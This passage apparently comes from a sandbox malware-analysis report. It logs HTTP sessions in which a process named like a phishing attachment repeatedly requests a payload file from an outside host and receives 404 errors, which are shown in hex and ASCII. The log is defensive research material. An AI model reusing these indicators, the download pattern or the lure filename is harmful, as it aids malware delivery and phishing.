2024-11-24 15:42:15 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50046	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:17 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50047	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:19 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:20 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:20 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:20 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50049	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:23 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:24 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:23 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:24 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50050	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:25 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:26 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:25 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:26 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50051	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:27 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:28 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:28 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:28 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50052	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:29 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:30 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:30 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:30 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50053	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:32 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:32 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:32 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:32 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50054	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:34 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:34 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:34 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:34 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50055	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:36 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:37 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:36 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:37 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50056	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:38 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:39 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:38 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:39 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50057	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:40 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:41 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:41 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:41 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50058	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:42 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:43 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:43 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:43 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50059	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:45 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:45 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:45 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:45 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50060	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:47 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:48 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:47 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
